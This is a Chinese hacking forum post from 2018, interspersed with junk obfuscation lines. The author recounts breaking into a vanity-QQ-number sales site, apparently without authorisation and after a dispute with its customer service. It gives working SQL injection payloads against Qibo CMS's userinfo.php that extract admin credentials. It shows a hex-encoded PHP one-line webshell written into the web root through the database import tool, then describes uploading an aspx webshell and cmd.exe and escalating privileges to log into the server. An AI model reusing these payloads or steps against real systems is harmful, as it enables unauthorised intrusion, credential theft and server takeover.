|
2 M4 w0 _3 y5 b" j. ]
% W5 x( P) a7 g # p4 C0 Q0 s S. a: s. ^, \
* [# V. n) {5 j( z 一、踩点寻找漏洞
1 W8 ^' m4 a+ |8 A- K: _+ h$ m9 }9 T闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
8 g1 A$ i: R7 G/ T随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
4 G) @ Q7 p2 g e1 A) B/ l- Z
先注册一个用户，记住注册时候的邮箱以uid号，
6 ?$ ]+ E6 h! I' Q% v+ \* d/ G
8 Q, k$ R- U+ U2 b# R& T
: @% i4 ^& E e
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
$ K' v v9 V7 _* Z( d" c/ c
; y* i6 `; b# u9 N- Q) g1 h! Ttruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
F- }) ~7 a& X! K! m5 C
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
. G8 J& a" Y( ?; b# z+ G
( g; {# { Y, q O' l9 m确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
) Q3 l0 K; N% C, E1 u$ R& s% W y
3 X8 i+ \) P% v1 s9 R$ Z* I2 W
3 Y- L' l" j, c# h解密进后台如图：
5 A- z5 o- \3 h' \" Y% s1 i
" R& A( y8 t' j/ Q
# J- l/ [" p3 p+ Z$ E: p* t- _
: ~% Y' T! V4 t: Q! |
二、后台getwebshell
8 Z& {! `/ C1 z
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
* g# [' I5 P0 Y& o& K! T) e
) Z3 H, l$ G$ o. B+ ~
7 t' ^9 X) y. ~# O2 A3 p: o6 R0 v
' y. Q6 V5 M a8 ~" l然后点确定，添加提示
# S" \! w, B. P9 p' ~
" X% L- [" p+ E: H# S
% M& |) _; b8 p+ o+ M
$ I6 m3 J: Z/ X r, S
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
0 J# f4 A+ W, q9 m! P b7 h. V
8 Y5 G! A1 r0 }& Q
4 D: N6 Z& r7 Y
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
) `) z- L2 p5 a! y% p. Y
如图：
! K0 |: e3 @ |6 J! o- s" X
8 I) q, f: a$ `6 M
; l; `' w& [$ x- W. h' ]; I
8 _7 q, H! N2 ^
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
* u# w, \, h @& e" p9 n
' c0 U( k/ Q! ?0 f$ b9 ~8 M+ }) x
% a6 Y$ v- p" t# T
+ C$ Y; ^+ `1 B; J" q1 i1 k
三、提权进服务器
6 c4 a z0 W" m( s1 O9 t经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
; j x" ~ g* g
/ L! U2 E3 y4 r* Q
& t: c2 U0 v: a. O& I/ d
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
8 \$ H+ t' k( H% m
; o7 _( t I0 S5 `; k, t" {5 N
* R& d2 c) N" L* d. L2 g" a1 e. A
然后登陆服务器如图：
' U3 [& I7 a( q2 ^
/ j) E7 q3 _& I% ]5 I E
/ G' k6 b5 i( m2 ~& T/ Z
- ^: r. ^7 p1 B1 @; [
8 z" l3 l6 S3 n9 ~3 S* S
$ o' M* ~( c: R: z" ~难怪普通刀连接不上，原来是有狗。
$ `- G! b* K# D" o7 }+ X% `! ^
' I8 j# u6 Q% g; c# N
+ Y# e9 L2 H$ s3 p; }: @0 c; V5 @/ Z
, q# V$ \2 g* H. ~3 O
3 o P% g: d& f0 n" O6 T) }
5 {, x9 M; V# c1 F3 G+ L. P
: [, T4 L& O) Q8 C5 F" x
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对